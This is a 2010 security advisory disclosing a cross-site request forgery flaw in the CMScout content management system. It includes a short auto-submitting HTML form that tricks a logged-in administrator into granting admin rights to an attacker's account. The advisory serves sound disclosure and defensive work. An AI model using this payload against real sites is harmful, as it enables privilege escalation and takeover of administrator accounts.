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Cross-site Request Forgery (CSRF) in CMScout

Advisory ID:HTB22719
Product:CMScout
Vendor:CMScout Team
Vulnerable Versions:2.09 and probably prior
Tested Version:2.09
Advisory Publication:November 25, 2010 [without technical details]
Vendor Notification:November 25, 2010
Public Disclosure:December 9, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in CMScout which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in CMScout
The vulnerability exists due to insufficient validation of the request origin in admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new accounts with administrative privileges.
Exploitation example:
<form action="http://host/admin.php?page=users&subpage=usergroups&subpage=usergrou ps&action=add&uid=USER_ID" method="post" name="main" >
<input type="hidden" name="gid" value="1">
<input type="hidden" name="utype" value="2">
<input type="hidden" name="action" value="Add">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
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  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22719 - https://www.immuniweb.com/advisory/HTB22719 - Cross-site Request Forgery (CSRF) in CMScout
[2] CMScout - http://code.google.com/p/cmscout/ – CMScout is a free and open-source CMS (Content management system) for Scouting related groups from around the world.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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